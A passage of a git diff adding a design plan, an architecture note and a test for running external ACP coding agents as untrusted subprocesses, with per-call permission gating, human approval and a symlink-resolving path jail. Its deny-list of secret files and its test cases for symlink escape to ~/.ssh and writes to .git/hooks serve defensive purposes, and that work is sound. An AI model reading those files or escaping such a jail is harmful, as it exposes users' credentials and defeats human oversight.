+- `available_commands_update` / `current_mode_update` / `config_option_update` → store/log; no callback surface in v1.
+
+**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/event-bridge.ts` (tolerant partial parse, empty-args → `{}` default, "don't push done early", `normalizeStreamingDelta`).
+
+**Test scenarios:**
+- `content_chunk` sequence reconstructs the full agent message via successive `onText` calls; dropped inter-chunk space is repaired.
+- A thought chunk routes to `onThinking`, not `onText`.
+- Tool-call lifecycle: `tool_call_started` → `onToolStart` with mapped title; later `tool_call_finished` with `status:"failed"` → `onToolEnd(..., isError=true)`; same `toolCallId` correlates start/end.
+- Plan update: two successive `plan` updates → the second fully replaces the first (no accumulation/duplication).
+- Unknown/forward-compat `sessionUpdate` tag is ignored without throwing.
+- Tool mapping: an `execute`-kind call with no `title` falls back to a sensible label; missing `rawInput` does not crash.
+
+---
+
+### U5. `session/request_permission` — per-category gate floor, HITL approval, and cancellation safety
+
+**Goal:** Answer the agent's permission requests by classifying each call through Fusion's action gate (consuming the already-threaded `actionGateContext`), routing `require-approval` to the human approval flow, defaulting safely when no human is available, and guaranteeing pending requests are drained on cancel so the agent never deadlocks.
+
+**Requirements:** R4, R5
+
+**Dependencies:** U3
+
+**Files:**
+- `plugins/fusion-plugin-acp-runtime/src/control-handler.ts` (new) — pure resolver `(toolCall, gate) → decision`; defines the narrow local `PermissionGate` interface (the `permissionPolicy` + closures it uses), structurally satisfied by `AgentActionGateContext` (KTD3)
+- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (modify) — implement `Client.requestPermission` using the session's persisted `actionGateContext`; track in-flight permission requests; drain on `session/cancel`
+- `plugins/fusion-plugin-acp-runtime/src/__tests__/control-handler.test.ts`, `provider-permission.test.ts` (new)
+
+**Approach:** **Classify per call, not per preset (KTD3a — security-critical).** Map the incoming `toolCall.kind` to a gate category (`file_write_delete`, `command_execution`, `network_api`, …) and evaluate it against the live policy via `evaluateAgentActionGate` + `resolveGateOutcome` (from the persisted `actionGateContext`). Outcome handling:
+- `allow` → select the **`allow_once`** option (never `allow_always`/`reject_always` — Fusion must re-evaluate every request and never delegate a persisted blanket grant to the untrusted agent; Risk S2). If the expected `*_once` kind is absent from the agent-supplied `options`, fall back to reject — never silently up-grade to an `*_always` option.
+- `block` → select the `reject_once` option.
+- `wait-for-approval` → run the HITL flow: `createApprovalRequest` → `pauseForApproval` → await the engine's decision (resume via the approval store) → map the decision back to `allow_once` / `reject_once`. On timeout/dismiss, answer `{ outcome: "cancelled" }`. Reuse a prior decision for an identical call via `findApprovalByDedupeKey`.
+- **No human channel available** (gate context absent, or a `require-approval` category with no resolvable approver): **default-deny** with a logged reason. Auto-allow is never the fallback.
+
+Respond `{ outcome: { outcome: "selected", optionId } }` or `{ outcome: { outcome: "cancelled" } }`. Maintain a set of pending permission promises; on `session/cancel` (and on subprocess exit), resolve every pending request with `{ outcome: "cancelled" }` before/while tearing down (research pitfall: an in-flight `requestPermission` can arrive after cancel; failing to answer deadlocks the agent).
+
+**Execution note:** This is the security floor for an untrusted subprocess — implement the per-category classification and default-deny test-first; do not ship a preset-level shortcut.
+
+**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/control-handler.ts` (pure decision function); `packages/engine/src/agent-action-gate.ts` (`evaluateAgentActionGate`, `resolveGateOutcome`, the `kind`→category mapping); `packages/engine/src/pi.ts` `wrapToolsWithActionGate` for the evaluate→approve→resume shape; `docs/spawn-agent-approval-evaluation.md` (reuse the existing approval flow, don't build parallel infra).
+
+**Test scenarios:**
+- Default `unrestricted` policy but a `custom` rule that `block`s `command_execution`: a `command_execution`-kind tool call is **rejected** (per-category honored, not preset-level allowed). _(Covers Risk S1.)_
+- A category set to `allow` → resolver selects the `allow_once` option; the `allow_always` option is **never** selected even when offered. _(Covers Risk S2.)_
+- `require-approval` category with the HITL flow wired: creates an approval request, `requestPermission` blocks until the decision resolves; granted → `allow_once`, rejected/timeout → `reject_once`/`cancelled`.
+- `require-approval` category with **no** resolvable approver / absent gate context → default-deny with logged reason (never auto-allow).
+- A tool call with a **missing or unmappable `kind`** → mapped to the most-restrictive category and denied (not allowed), even under the default `unrestricted` preset.
+- The `actionGateContext` HITL closures (`pauseForApproval`, `findApprovalByDedupeKey`, `markApprovalCompleted`) are optional on the interface — when absent, the `require-approval` branch default-denies rather than throwing.
+- Dedupe: a repeated identical tool call reuses the prior approval decision via the dedupe key.
+- An options list missing the expected `*_once` kind → safe fallback to reject, never an `*_always` option, no throw.
+- Cancellation drain: two in-flight permission requests + `session/cancel` → both resolved with `{ outcome: "cancelled" }`; a request arriving *after* cancel is answered `cancelled` immediately.
+
+---
+
+### U6. Untrusted-input hardening: output bounds and string sanitization
+
+**Goal:** Bound and sanitize everything the untrusted agent emits so a flooding or malicious agent cannot exhaust resources or inject into Fusion's logs/UI/paths.
+
+**Requirements:** R3, R5
+
+**Dependencies:** U4
+
+**Files:**
+- `plugins/fusion-plugin-acp-runtime/src/event-bridge.ts` (modify) — cumulative per-turn `session/update` byte/count caps; per-chunk size cap; truncate-and-flag beyond ceiling instead of unbounded buffering
+- `plugins/fusion-plugin-acp-runtime/src/sanitize.ts` (new) — strip ANSI/control sequences from agent-supplied text/titles before logging or rendering; bound identifier length
+- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (modify) — never use agent-supplied `sessionId`/`toolCallId` as a filesystem path component without validation (relevant to U3 resume-file path)
+- `plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge-bounds.test.ts`, `sanitize.test.ts` (new)
+
+**Approach:** The agent is untrusted input; the high inactivity ceiling (KTD4) does **not** bound an *actively* flooding agent. Cap cumulative `session/update` volume and per-chunk size at the bridge (Risk S5); cap log volume written from agent text. Treat all agent-supplied strings (`title`, `kind`, plan text, `sessionId`, `toolCallId`, command lists) as untrusted: sanitize control/ANSI sequences before logging/rendering (Risk S7); bound identifier length; never interpolate an agent-supplied id into a filesystem path unvalidated.
+
+**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/event-bridge.ts` (delta accumulation) for where the caps slot in.
+
+**Test scenarios:**
+- A `session/update` stream exceeding the per-turn byte cap is truncated-and-flagged; memory does not grow unbounded.
+- An oversized single content chunk is capped.
+- A tool `title` containing ANSI/control escapes is sanitized before it reaches the log/callback.
+- An agent-supplied `sessionId` containing path separators is rejected/normalized before any resume-file path uses it.
+- The `toolCallId` correlation map is bounded — a flooding agent supplying unbounded unique ids does not grow the map without limit (entries are capped/evicted, not just length-limited).
+
+---
+
+### U7. Client filesystem capabilities with a real path jail (`fs/read_text_file`, `fs/write_text_file`)
+
+**Goal:** Let opted-in agents read/write within the task `cwd` behind a symlink-resolving path jail, with writes subject to the permission policy and a deny-list protecting secrets and git internals.
+
+**Requirements:** R3 (capability surface), R4 (writes gated)
+
+**Dependencies:** U2 (capabilities advertised only when enabled), U3 (session `cwd` + gate context), U5 (write-permission gating)
+
+**Files:**
+- `plugins/fusion-plugin-acp-runtime/src/fs-capabilities.ts` (new) — `readTextFile({ path, line?, limit? })`, `writeTextFile({ path, content })`
+- `plugins/fusion-plugin-acp-runtime/src/path-jail.ts` (new) — dedicated `assertPathWithinCwd` helper (realpath + atomic open + deny-list); **not** `project-root-guard.ts`
+- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (modify) — register handlers on the `Client` impl only when the capability is enabled in settings
+- `plugins/fusion-plugin-acp-runtime/src/__tests__/fs-capabilities.test.ts`, `path-jail.test.ts` (new)
+
+**Approach:** Confinement uses the KTD6a jail, not lexical normalization alone: resolve the **real** path via `fs.realpath` (following symlinks), verify it sits within the realpath of session `cwd`, and perform the check and open atomically (`O_NOFOLLOW` final component or open-then-`fstat`) to close TOCTOU. Reject absolute paths, NUL bytes, and separator/encoding tricks. Apply the deny-list regardless of cwd membership: hard-reject writes to `.git/**`; deny or gate reads of secret patterns (`.env*`, `*.pem`, `*.key`, `.npmrc`, `.netrc`, `id_*`, `credentials`). `readTextFile` honors `line`/`limit` **and** a hard byte ceiling when `limit` is absent/huge (Risk S5); returns `{ content }`. `writeTextFile`: **default OFF** (KTD6) — only registered/advertised when settings enable it; enforce a max `content` size; route the write through the action gate as a `file_write_delete` category (U5) so `approval-required`/`locked-down` policies cover it; write atomically within `cwd`; returns `{}`. If a capability is disabled, the agent MUST NOT call it; a call returns a JSON-RPC error (never silently succeed).
+
+**Execution note:** The jail is a security boundary — write `path-jail.ts` test-first, covering symlink escape and TOCTOU, not just `../`.
+
+**Patterns to follow:** **not** `project-root-guard.ts` (it is a `.fusion`-suffix string check, not a path jail — KTD6a); model the deny-list/realpath approach on standard path-confinement practice and the action-gate category mapping in `packages/engine/src/agent-action-gate.ts`.
+
+**Test scenarios:**
+- Read within `cwd` returns content; `line`/`limit` window returns the requested slice; an unbounded read is capped at the hard ceiling.
+- Lexical escape (`../../etc/...`) → typed `path_outside_cwd` error.
+- **Symlink escape:** a symlink inside `cwd` pointing to `/etc` (or `~/.ssh`) is rejected by realpath resolution, not just `..` checks.
+- **Git/secret protection:** write to `.git/hooks/pre-commit` is hard-rejected; read of `.env` is denied/gated.
+- Write within `cwd` (capability enabled) persists and reads back; an oversized write is rejected.
+- Write under `locked-down`/`approval-required` policy is gated through U5 (blocked or pending), not free.
+- Capability misuse: fs disabled but the agent calls `fs/read_text_file` → JSON-RPC error, no read.
+
+---
+
+### U8. Packaging into the published CLI, dashboard surface, and integration evidence
+
+**Goal:** Ship the plugin inside `@runfusion/fusion`, expose it consistently in the dashboard, and record the required third-party-integration evidence.
+
+**Requirements:** R6, R7, R8
+
+**Dependencies:** U1 (and is the integration cap for U2–U7)
+
+**Files:**
+- `pnpm-workspace.yaml` (already added in U1; verify)
+- `packages/cli/tsup.config.ts` (modify) — **required, load-bearing:** add `"fusion-plugin-acp-runtime"` to the hardcoded `RUNTIME_PLUGIN_IDS` array (`:11-17`); the `onSuccess` loop only stages ids in this list — without it the plugin is never bundled. Do **not** add to `RUNTIME_PLUGINS_WITH_MCP_SCHEMA_SERVER` (`:19-22`) — no `.cjs` in v1 (KTD5)
+- `packages/cli/package.json` `files` — **no change** (already globs `dist/plugins/**`)
+- **Install path — committed: on-demand / experimental.** Add a `BUILTIN_PLUGINS` catalog entry in `packages/cli/src/commands/plugin.ts:28-73` with `experimental: true` (Droid-style), so the runtime is installed deliberately rather than auto-enabled. This is the right posture for the first integration that runs an untrusted callback-capable subprocess (KTD6b) — auto-install (Cursor-style `BUNDLED_PLUGIN_IDS`) is **not** used in v1. `getRuntimeById("acp")` makes it engine-selectable once installed; no `useDroidCli`-style toggle is needed.
+- **Default-policy safety task (Risk S1):** because the shipped default is `unrestricted`, gate ACP-runtime selection behind an explicit permission-policy acknowledgement, or default the ACP runtime to `approval-required` in the dashboard. This is a **required** task of this unit, not advisory — it is the most likely first-run misconfiguration path. (Surface in the `settings-provider-card` / selection flow.)
+- `packages/dashboard/src/routes.ts` `BUNDLED_PLUGIN_RUNTIMES` (`:61-89`, optional) — for pre-install dashboard visibility (Droid/Cursor omit it and appear only post-install)
+- `docs/acp-contract.md` (new) — launch command, handshake-as-readiness, failure taxonomy (mirror `docs/cursor-cli-contract.md`)
+- `plugins/fusion-plugin-acp-runtime/README.md` (new) — UPSTREAM evidence block
+- `.changeset/.md` (new) — `"@runfusion/fusion": minor`
+- Tests: add a new `it(...)` block to `packages/cli/src/__tests__/bundle-output.test.ts` (mirror the Droid block at `:241-249`)
+
+**Approach:** Bundling is **not** automatic via the workspace glob — the load-bearing edit is adding the plugin id to `RUNTIME_PLUGIN_IDS` in `tsup.config.ts`. The `package.json files` whitelist already covers `dist/plugins/**`, so no edit there. Install posture is committed to on-demand/experimental (above); the default-policy acknowledgement is a required safety task. No `mcp-schema-server.cjs` ships in v1 (KTD5). Record external-integration evidence in `README.md`/PROMPT.md: ACP upstream repo (`github.com/agentclientprotocol`), docs homepage (`agentclientprotocol.com`), the SDK release (`@agentclientprotocol/sdk` on npm), and the validation agent binary name (the SDK example agent) with a checksum or `upstream-pending-verification` marker — never invented.
+
+**Execution note:** External-integration evidence is a blocking `AGENTS.md` requirement — populate it from verified sources, never fabricated URLs/binaries/hashes.
+
+**Patterns to follow:** `plugins/fusion-plugin-droid-runtime` packaging; `packages/cli/src/commands/plugin.ts` `BUILTIN_PLUGINS`; `docs/cursor-cli-contract.md`; `.changeset/*.md` format.
+
+**Test scenarios:**
+- Bundle test: a built CLI includes `dist/plugins/fusion-plugin-acp-runtime/` and it resolves via `getRuntimeById("acp")`.
+- Install-path test: the `BUILTIN_PLUGINS` catalog entry is present (`experimental: true`) so the runtime is installable on demand.
+- Default-policy safety: selecting the ACP runtime without an explicit policy acknowledgement does **not** silently run under `unrestricted` — the acknowledgement gate or `approval-required` default applies. _(Covers Risk S1.)_
+- Changeset present and targets `@runfusion/fusion` only (not the private `@fusion/*` packages).
+- Test expectation: none for the `docs/acp-contract.md` / README evidence (documentation) — beyond a presence check in the integration-evidence lint if one exists.
+
+---
+
+## Scope Boundaries
+
+### In scope
+- ACP **client** integration: drive external ACP agents (U1–U8).
+- Generic validation against the SDK example agent.
+- Per-category permission gating (consuming the engine's existing `actionGateContext`) with HITL approval and default-deny floor.
+- `fs/read|write` client capabilities behind a realpath path-jail, writes default-OFF and policy-gated.
+- Untrusted-input bounds and sanitization.
+
+### Deferred to Follow-Up Work
+- **Forwarding Fusion's custom tools to ACP agents via MCP** (`session/new` `mcpServers` populated from Fusion's pi-tools using the `mcp-config.ts` + `mcp-schema-server.cjs` schema-server machinery). v1 sends empty `mcpServers`. _(Confirmed deferral.)_ **Capability caveat:** v1 ACP agents operate over the worktree (code work via their own tools + the gated `fs` capabilities) but cannot reach Fusion's orchestration pi-tools — they reach feature parity with the bespoke runtimes only once this lands. **Security precondition for lifting the deferral:** before forwarding any `mcpServers` to the untrusted agent, define whether server configs may carry bearer tokens/OAuth credentials (and, if so, a scope-limited credential mechanism), a minimum-fields-forwarded principle, and failure behavior for an unavailable/malicious MCP server.
+- **Terminal client capabilities** (`terminal/create`, `terminal/output`, `terminal/wait_for_exit`, `terminal/kill`, `terminal/release`).
+- **Dashboard `uiSlots` cards** (settings/onboarding/recommendation) mirroring Droid. v1 ships the runtime selectable without dashboard cards; the cards are polish.
+- **A multi-agent ACP registry** (declaring several ACP agents as `customProviders` entries via `packages/engine/src/custom-providers.ts` + `customProviderRegistryKey`). v1 follows the single-runtime `definePlugin` shape; a per-agent registry is a later extension.
+- **Capturing a `docs/solutions/`-style learning** documenting the first persistent bidirectional JSON-RPC transport in the codebase, once it lands.
+
+### Outside this product's identity
+- **The ACP *server*/agent direction** — Fusion exposing itself as an ACP agent so external editors (Zed, JetBrains) drive Fusion. This inverts the orchestration model and is a separate initiative.
+
+---
+
+## System-Wide Impact
+
+- **No shared-contract change.** The permission integration consumes the engine's **existing** `AgentRuntimeOptions.actionGateContext` (`packages/engine/src/agent-runtime.ts:103`), already populated at every run call site and already funneled to runtimes via `createResolvedAgentSession` (`agent-session-helpers.ts:335`). No other runtime (Droid, Cursor, Hermes, OpenClaw, Paperclip) is touched, and `AgentRuntimeOptions` is not modified — so the earlier "touches every runtime" risk does not apply. The plugin couples only to a narrow local `PermissionGate` interface, not `@fusion/engine` internals.
+- **Registration lists that must be edited (not auto-discovered).** Shipping a runtime plugin requires explicit entries beyond the workspace glob: `RUNTIME_PLUGIN_IDS` in `packages/cli/tsup.config.ts` (bundling), the chosen install list (`BUILTIN_PLUGINS` in `packages/cli/src/commands/plugin.ts`, or `BUNDLED_PLUGIN_IDS` in `bundled-plugin-install.ts` + `packages/dashboard/src/routes.ts`), and optionally `BUNDLED_PLUGIN_RUNTIMES` for pre-install dashboard visibility. Enumerated in U8.
+- **New trust boundary.** This is the first integration that runs an **untrusted external subprocess that calls back into Fusion** (permissions, filesystem). The security floor (U5 per-category gate, U6 input bounds, U7 path jail, KTD6b env allow-list) is load-bearing, not polish — see Risks S1–S7.
+- **Deliberate adoption-vs-safety bet.** ACP is positioned as the highest-leverage move for the strategy's "ecosystem breadth" track, yet v1 ships **experimental / on-demand** (U8) — a discovery barrier that suppresses the very metric (unique plugins active per user) the integration exists to move. This is an intentional security-first bet for v1: validate the trust-boundary floor against the SDK example agent plus one real agent, then promote ACP to a more discoverable install posture. The trigger and owner for that promotion are a follow-up decision, not a v1 deliverable.
+
+---
+
+## Risks & Dependencies
+
+- **S1 — Default `unrestricted` policy → auto-allow of an untrusted subprocess [CRITICAL].** Fusion's shipped default is `unrestricted` (allow-all). A preset-level permission mapping would auto-approve every tool call the moment a user selects the ACP runtime. _Mitigation:_ U5 classifies **per call** via `evaluateAgentActionGate` and honors `rules[category]`, never the preset id; `require-approval` with no human channel **default-denies** (KTD3a). Recommend the dashboard default the ACP runtime to `approval-required`, or gate selection behind an explicit policy acknowledgement.
+- **S2 — `allow_always` persists a blanket grant inside the agent [HIGH].** Selecting an `*_always` ACP option delegates the policy decision to untrusted code and loses Fusion's per-call interception. _Mitigation:_ U5 selects `allow_once`/`reject_once` only; an absent `*_once` option falls back to reject, never `*_always`.
+- **S3 — Filesystem path-confinement bypass [HIGH].** Symlink escape, TOCTOU, and secrets/git-internals inside `cwd` defeat a naive prefix check; `project-root-guard.ts` is not a jail. _Mitigation:_ U7/KTD6a realpath jail + atomic open + `.git`/secrets deny-list, with symlink-escape and `.git/hooks` tests.
+- **S4 — fs capabilities default-ON would over-grant [HIGH].** _Mitigation:_ KTD6 — writes default OFF, advertisement config-gated, `fs/write` routed through the action gate as `file_write_delete`.
+- **S5 — Unbounded agent output / oversized fs content [MEDIUM].** The high inactivity ceiling does not bound an *actively* flooding agent. _Mitigation:_ U6 caps `session/update` volume; U7 caps read/write byte sizes.
+- **S6 — Agent native syscalls are unmediated [MEDIUM].** ACP permissions + fs jail constrain only protocol-mediated actions; the agent can spawn processes / reach the network directly. _Mitigation:_ KTD6b — env allow-list in `cli-spawn.ts`; document the real trust boundary; OS-level sandboxing recommended (deferred).
+- **S7 — Untrusted agent strings (titles, ids, paths) [MEDIUM].** Log/ANSI injection; ids used as map/path keys. _Mitigation:_ U6 sanitizes control/ANSI sequences and validates ids before any filesystem use.
+- **S8 — `authenticate` credential handling [LOW-MED].** _Mitigation:_ U2 surfaces interactive auth to the user, redacts tokens from stderr/logs.
+- **External dependency maturity.** `@agentclientprotocol/sdk` is young (v0.24.x). _Mitigation:_ pin the version; protocol version is a stable integer (`1`); validate against the SDK's example agent so CI needs no third-party binaries.
+- **Cancellation/permission deadlock.** An unanswered in-flight `requestPermission` after `session/cancel` hangs the agent. _Mitigation:_ explicit pending-request drain (U5), test-covered.
+- **Agent-specific startup quirks.** Gemini-on-macOS OAuth prompts; Claude-adapter `session/new` stalls. _Mitigation:_ bounded `initialize`/`session/new` timeouts + typed failure taxonomy (U2).
+- **Streaming ordering.** `session/prompt` resolves only after all updates are delivered; plan updates are full-replace. _Mitigation:_ drain-before-done (U3), replace-not-append (U4), test-covered.
+- **Packaging/bundle drift.** A plugin missing from `RUNTIME_PLUGIN_IDS` is silently never bundled. _Mitigation:_ the U8 bundle-output test asserts the plugin's presence in `dist/plugins/`.
+
+---
+
+## Alternatives Considered
+
+- **Hand-roll the JSON-RPC transport instead of using the SDK.** Rejected (KTD2): duplicates a maintained dependency, and the newline-delimited framing + bidirectional call handling is exactly what the SDK's `ClientSideConnection`/`ndJsonStream` provide. Revisit only if the SDK proves unmaintained.
+- **Build as a `packages/acp-cli` package mirroring `pi-claude-cli`.** Rejected (KTD1): that pattern is now a thin shim; the runtime-plugin shape is canonical and gives discovery + dashboard parity for free.
+- **Per-agent provider registration (one provider id per ACP agent) up front.** Deferred: a single `runtimeId: "acp"` runtime is enough for v1; a multi-agent registry via `customProviders` is the natural follow-up if users need several ACP agents side by side.
+- **Add an `onPermissionRequest?` callback to the shared `AgentRuntimeOptions` contract.** Rejected (KTD3): the contract **already** carries `actionGateContext`, already populated and threaded to runtimes — a new callback would be a redundant second channel to the same approval store and would needlessly touch the interface every runtime consumes. The ACP plugin consumes the existing field instead.
+- **Pass the gate via the plugin runtime factory `ctx`.** Rejected: `PluginContext` is built once *per plugin*, not per run; the gate context is per-run/per-session. Threading it through `ctx` is a lifetime/scope mismatch. Per-session `options.actionGateContext` is the correct vehicle.
+- **Preset-level permission mapping (map the policy preset directly to an ACP outcome).** Rejected (KTD3a / Risk S1): the default preset is `unrestricted`, so this silently auto-allows an untrusted subprocess and ignores per-category `block` rules. Per-call category classification is the v1 floor, not a deferred enhancement.
+
+---
+
+## Sources & Research
+
+- **ACP protocol & SDK** (external, load-bearing for KTD2/KTD5/KTD6 and U2–U5): agentclientprotocol.com (introduction, schema, transports, initialization, tool-calls, agent-plan); `@agentclientprotocol/sdk` (npm, Apache-2.0, `ClientSideConnection`, `ndJsonStream`, `PROTOCOL_VERSION`); `github.com/agentclientprotocol/typescript-sdk`; validation agents — SDK example echo agent (CI), `@agentclientprotocol/claude-agent-acp` and `gemini --acp` (manual e2e).
+- **Repo patterns** (local): `plugins/fusion-plugin-droid-runtime/` (canonical runtime-plugin shape, module split, `uiSlots`); `plugins/fusion-plugin-cursor-runtime/`; `packages/engine/src/runtime-resolution.ts` (`getRuntimeById`, factory wrapping); `plugins/fusion-plugin-droid-runtime/src/types.ts:110-135` (`AgentRuntime`/`AgentRuntimeOptions`); `packages/engine/src/agent-action-gate.ts`, `packages/core/src/agent-permission-policy.ts`, `packages/core/src/approval-request-store.ts` (permission/approval surfaces); `packages/cli/tsup.config.ts` + `packages/cli/package.json` `files` (bundling); `docs/cursor-cli-contract.md`, `docs/PLUGIN_AUTHORING.md` §9, `docs/spawn-agent-approval-evaluation.md`.
+- **Conventions** (`AGENTS.md`): external-integration evidence (R8/U8), changeset rules (`@runfusion/fusion: minor`), publish/bundle model, sibling `__tests__/` test layout.
diff --git a/docs/solutions/architecture-patterns/acp-persistent-jsonrpc-agent-runtime-integration.md b/docs/solutions/architecture-patterns/acp-persistent-jsonrpc-agent-runtime-integration.md
new file mode 100644
index 0000000000..4a12845a97
--- /dev/null
+++ b/docs/solutions/architecture-patterns/acp-persistent-jsonrpc-agent-runtime-integration.md
@@ -0,0 +1,90 @@
+---
+category: architecture-patterns
+module: fusion-plugin-acp-runtime
+date: 2026-06-03
+problem_type: architecture_pattern
+component: tooling
+severity: high
+applies_when:
+ - "Integrating a new external coding agent or agent protocol into Fusion"
+ - "Building anything that holds a long-lived bidirectional JSON-RPC peer over stdio"
+ - "Running an untrusted subprocess that can call back into Fusion (permissions, filesystem)"
+tags:
+ - acp
+ - agent-client-protocol
+ - runtime-plugin
+ - json-rpc
+ - untrusted-subprocess
+ - security-floor
+ - path-jail
+related_components:
+ - development_workflow
+ - testing_framework
+---
+
+# Integrating a persistent bidirectional JSON-RPC agent (the ACP runtime pattern)
+
+## Context
+
+`plugins/fusion-plugin-acp-runtime` (PR #1354, 2026-06) was the first integration in this codebase that holds a **persistent, bidirectional JSON-RPC peer** over stdio. Every prior agent integration (droid, cursor, hermes, openclaw, pi-claude-cli) is one-shot: write one NDJSON turn, read stdout, force-kill. ACP inverts part of the relationship — Fusion spawns the agent, but the agent **calls back into Fusion mid-turn** (`session/request_permission`, `fs/read_text_file`, `fs/write_text_file`). That makes the agent untrusted *input* on every channel, and several hard-won rules from this build will apply to any future integration with the same shape.
+
+## Guidance
+
+**1. The canonical integration shape is a runtime plugin, not a `packages/*-cli` package.**
+`packages/pi-claude-cli` / `droid-cli` are legacy shims. New agent integrations live in `plugins/fusion-plugin--runtime` using `@fusion/plugin-sdk`'s `definePlugin` with a `runtime: { metadata: { runtimeId }, factory }` block, implementing the `AgentRuntime` interface (`createSession` / `promptWithFallback` / `describeModel` / `dispose`). The engine resolves it via `getRuntimeById(runtimeId)` once installed.
+
+**2. Engine lifecycle truths (verified against the engine, not docs):**
+- The engine's `AgentRuntimeOptions` (`packages/engine/src/agent-runtime.ts`) **already carries `actionGateContext`** — populated at every run call site and funneled through `createResolvedAgentSession`. Consume it **structurally** via a narrow plugin-local interface; never import `@fusion/engine` and never add a parallel permission channel to the shared contract.
+- There is **no `AbortSignal`** in the runtime contract. Teardown enters via an **unawaited synchronous `dispose()`** (StuckTaskDetector, executor timeout) plus the process-registry kill. Design teardown so the registry SIGKILL is the authoritative no-orphan/no-deadlock guarantee; any graceful protocol cancel (`session/cancel` + pending-request drain) is opportunistic. Register `process.on("exit", killAllProcesses)`.
+- Bundling is **not automatic**: a new runtime plugin must be added to `RUNTIME_PLUGIN_IDS` in `packages/cli/tsup.config.ts` (or it silently never ships) and to an install list (`BUILTIN_PLUGINS` for on-demand, `BUNDLED_PLUGIN_IDS` for auto-install), plus `pnpm-workspace.yaml`.
+
+**3. Security floor for an untrusted callback-capable subprocess:**
+- **Per-category permission gating, never per-preset.** The shipped default policy preset is `unrestricted` (every category → allow). A preset-level shortcut auto-approves everything the moment the runtime is selected. Classify each call's kind into a category and read `permissionPolicy.rules[category]`; add an explicit acknowledgement setting before honoring blanket allows on sensitive categories.
+- Select `allow_once` only — never `allow_always`/`reject_always` (a persisted grant inside untrusted code loses per-call interception). Unmappable/missing kinds, missing gate/policy, and HITL-without-a-readable-decision all default-deny. Require **both** `pauseForApproval` AND `findApprovalByDedupeKey` before creating an approval request — otherwise a human approval is silently discarded and a pending record is orphaned.
+- **Filesystem jail = realpath, not string checks.** `project-root-guard.ts` is a suffix check, not a jail. Use realpath-within-realpath(cwd), `lstat` the final component for new files, `O_NOFOLLOW` open, and **truncate only after post-open re-validation** (passing `O_TRUNC` into open() truncates an escaped target before validation — write-path TOCTOU). Deny-list secrets and `.git/**` by basename regardless of cwd membership. Stat-gate reads (a full `readFile` before a byte ceiling is an OOM vector).
+- **Bound everything the agent emits**, including the channels that don't look like output: per-turn + per-chunk caps on text/thinking, ANSI/control stripping, bounded identifier lengths and correlation maps, and **plan/structured events** (entry size was bounded but entry *count* wasn't — 1,000 × 64KB entries bypassed the per-turn budget). Redact stderr across chunk boundaries, not per-chunk (secrets split across `data` events evade per-chunk regexes). Build the subprocess env from an allow-list, never inherited `process.env`.
+
+**4. Per-turn bridge state must actually reset per turn.** Anything accumulated per "turn" (output budgets, cap-flag latches, tool-call correlation maps) needs an explicit `reset()` invoked at the top of each prompt — a latch that never resets silently suppresses all output for the rest of the session after one flood. Write a two-turns-through-the-same-handler test; single-turn tests cannot catch it.
+
+**5. The installed SDK's types are authoritative over docs/research.** Verify a young SDK's exports with a smoke-import test at scaffold time (a missing export is a day-one blocker, not a late surprise), and read the generated `.d.ts` for shapes: research/docs said `session/update` used `content_chunk`/`tool_call_started`; the real SDK uses `agent_message_chunk`/`tool_call`/`tool_call_update`, and `plan_update` carries a `plan` field, not `entries` (the wrong-shape cast silently no-op'd).
+
+**6. Test fixtures for bidirectional protocols must be race-proof.** JSON-RPC notifications are dispatched concurrently with suspended request handlers. A fixture that registers a cancellable hang *after* an awaited write loses the race on loaded CI runners (cancel lands first, no-ops, prompt hangs forever). Record a pending-cancel flag so resolution is order-independent — never rely on a `setImmediate` tick for ordering.
+
+## Why This Matters
+
+The one-shot integrations never needed any of this: they hold no server→client channel, no long-lived session state, and their kill-after-turn lifecycle hides teardown bugs. A bidirectional peer fails in new ways — permission deadlocks on cancel, latched per-session state, TOCTOU in callback-served filesystem access, budget bypasses through structured events — and three of those shipped as P1s caught only by adversarial review, not by 170+ passing unit tests. The next protocol-shaped integration (MCP-server hosting, a future agent protocol) inherits this checklist instead of rediscovering it.
+
+## When to Apply
+
+- Adding any new agent runtime to Fusion (use the plugin shape + wiring checklist in §1–2).
+- Any subprocess that can *call back* into Fusion — apply the full §3 security floor, not just spawn hardening.
+- Any streaming bridge with per-turn accounting (§4) or any young/pinned SDK dependency (§5).
+- Writing test fixtures for request/notification protocols (§6).
+
+## Examples
+
+Truncate-after-validate (write-path TOCTOU, `path-jail.ts` / `fs-capabilities.ts`):
+
+```ts
+// WRONG: O_TRUNC truncates an escaped target BEFORE re-validation
+const h = await open(p, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW);
+
+// RIGHT: open without truncate, re-validate realpath, then truncate via the fd
+const h = await openWithinCwd(p, cwd, O_WRONLY | O_CREAT); // re-validates inside
+await h.truncate(0);
+```
+
+Per-category floor, never preset (`control-handler.ts`):
+
+```ts
+// WRONG: preset shortcut — default preset is `unrestricted` ⇒ auto-approve everything
+if (policy.preset === "unrestricted") return allow();
+
+// RIGHT: classify the call, read the category rule, escalate blanket allows
+const category = classifyToolKind(toolCall.kind); // unmappable → DENY
+const disposition = effectiveDisposition(category, gate, { // allow on sensitive
+ allowUnrestricted, // category escalates to
+}); // approval unless acked
+```
+
+Reference implementation: `plugins/fusion-plugin-acp-runtime/` (184 tests), plan with full rationale at `docs/plans/2026-06-02-002-feat-acp-client-integration-plan.md`, contract at `docs/acp-contract.md`.
diff --git a/packages/cli/src/__tests__/bundle-output.test.ts b/packages/cli/src/__tests__/bundle-output.test.ts
index 21aefeb9ac..b0ee34f08b 100644
--- a/packages/cli/src/__tests__/bundle-output.test.ts
+++ b/packages/cli/src/__tests__/bundle-output.test.ts
@@ -260,6 +260,23 @@ describe("CLI bundle output", () => {
expect(manifest.name?.length).toBeGreaterThan(0);
});
+ it("dist/plugins/fusion-plugin-acp-runtime/ is staged with the acp runtime manifest", () => {
+ const stagedRoot = join(cliRoot, "dist", "plugins", "fusion-plugin-acp-runtime");
+ const manifestPath = join(stagedRoot, "manifest.json");
+
+ expect(existsSync(manifestPath)).toBe(true);
+ const manifest = JSON.parse(readFileSync(manifestPath, "utf-8")) as {
+ id?: string;
+ runtime?: { runtimeId?: string };
+ };
+ expect(manifest.id).toBe("fusion-plugin-acp-runtime");
+ // The runtime is selected by runtimeId; assert it is "acp".
